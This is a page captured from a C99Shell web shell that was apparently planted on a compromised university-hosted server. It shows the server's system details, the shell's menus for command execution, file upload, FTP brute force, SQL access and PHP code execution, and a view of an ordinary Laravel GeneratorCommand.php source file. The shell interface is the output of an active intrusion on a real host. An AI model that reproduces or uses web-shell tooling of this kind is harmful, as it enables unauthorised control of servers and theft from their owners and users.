!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/laravel/framework/src/Illuminate/Console/   drwxr-xr-x
Free 116.5 GB of 200.55 GB (58.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     GeneratorCommand.php (4.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Console;

use 
Illuminate\Support\Str;
use 
Illuminate\Filesystem\Filesystem;
use 
Symfony\Component\Console\Input\InputArgument;

abstract class 
GeneratorCommand extends Command
{
    
/**
     * The filesystem instance.
     *
     * @var \Illuminate\Filesystem\Filesystem
     */
    
protected $files;

    
/**
     * The type of class being generated.
     *
     * @var string
     */
    
protected $type;

    
/**
     * Create a new controller creator command instance.
     *
     * @param  \Illuminate\Filesystem\Filesystem  $files
     * @return void
     */
    
public function __construct(Filesystem $files)
    {
        
parent::__construct();

        
$this->files $files;
    }

    
/**
     * Get the stub file for the generator.
     *
     * @return string
     */
    
abstract protected function getStub();

    
/**
     * Execute the console command.
     *
     * @return bool|null
     */
    
public function fire()
    {
        
$name $this->parseName($this->getNameInput());

        
$path $this->getPath($name);

        if (
$this->alreadyExists($this->getNameInput())) {
            
$this->error($this->type.' already exists!');

            return 
false;
        }

        
$this->makeDirectory($path);

        
$this->files->put($path$this->buildClass($name));

        
$this->info($this->type.' created successfully.');
    }

    
/**
     * Determine if the class already exists.
     *
     * @param  string  $rawName
     * @return bool
     */
    
protected function alreadyExists($rawName)
    {
        
$name $this->parseName($rawName);

        return 
$this->files->exists($this->getPath($name));
    }

    
/**
     * Get the destination class path.
     *
     * @param  string  $name
     * @return string
     */
    
protected function getPath($name)
    {
        
$name str_replace($this->laravel->getNamespace(), ''$name);

        return 
$this->laravel['path'].'/'.str_replace('\\''/'$name).'.php';
    }

    
/**
     * Parse the name and format according to the root namespace.
     *
     * @param  string  $name
     * @return string
     */
    
protected function parseName($name)
    {
        
$rootNamespace $this->laravel->getNamespace();

        if (
Str::startsWith($name$rootNamespace)) {
            return 
$name;
        }

        if (
Str::contains($name'/')) {
            
$name str_replace('/''\\'$name);
        }

        return 
$this->parseName($this->getDefaultNamespace(trim($rootNamespace'\\')).'\\'.$name);
    }

    
/**
     * Get the default namespace for the class.
     *
     * @param  string  $rootNamespace
     * @return string
     */
    
protected function getDefaultNamespace($rootNamespace)
    {
        return 
$rootNamespace;
    }

    
/**
     * Build the directory for the class if necessary.
     *
     * @param  string  $path
     * @return string
     */
    
protected function makeDirectory($path)
    {
        if (! 
$this->files->isDirectory(dirname($path))) {
            
$this->files->makeDirectory(dirname($path), 0777truetrue);
        }
    }

    
/**
     * Build the class with the given name.
     *
     * @param  string  $name
     * @return string
     */
    
protected function buildClass($name)
    {
        
$stub $this->files->get($this->getStub());

        return 
$this->replaceNamespace($stub$name)->replaceClass($stub$name);
    }

    
/**
     * Replace the namespace for the given stub.
     *
     * @param  string  $stub
     * @param  string  $name
     * @return $this
     */
    
protected function replaceNamespace(&$stub$name)
    {
        
$stub str_replace(
            
'DummyNamespace'$this->getNamespace($name), $stub
        
);

        
$stub str_replace(
            
'DummyRootNamespace'$this->laravel->getNamespace(), $stub
        
);

        return 
$this;
    }

    
/**
     * Get the full namespace name for a given class.
     *
     * @param  string  $name
     * @return string
     */
    
protected function getNamespace($name)
    {
        return 
trim(implode('\\'array_slice(explode('\\'$name), 0, -1)), '\\');
    }

    
/**
     * Replace the class name for the given stub.
     *
     * @param  string  $stub
     * @param  string  $name
     * @return string
     */
    
protected function replaceClass($stub$name)
    {
        
$class str_replace($this->getNamespace($name).'\\'''$name);

        return 
str_replace('DummyClass'$class$stub);
    }

    
/**
     * Get the desired class name from the input.
     *
     * @return string
     */
    
protected function getNameInput()
    {
        return 
trim($this->argument('name'));
    }

    
/**
     * Get the console command arguments.
     *
     * @return array
     */
    
protected function getArguments()
    {
        return [
            [
'name'InputArgument::REQUIRED'The name of the class'],
        ];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0132 ]--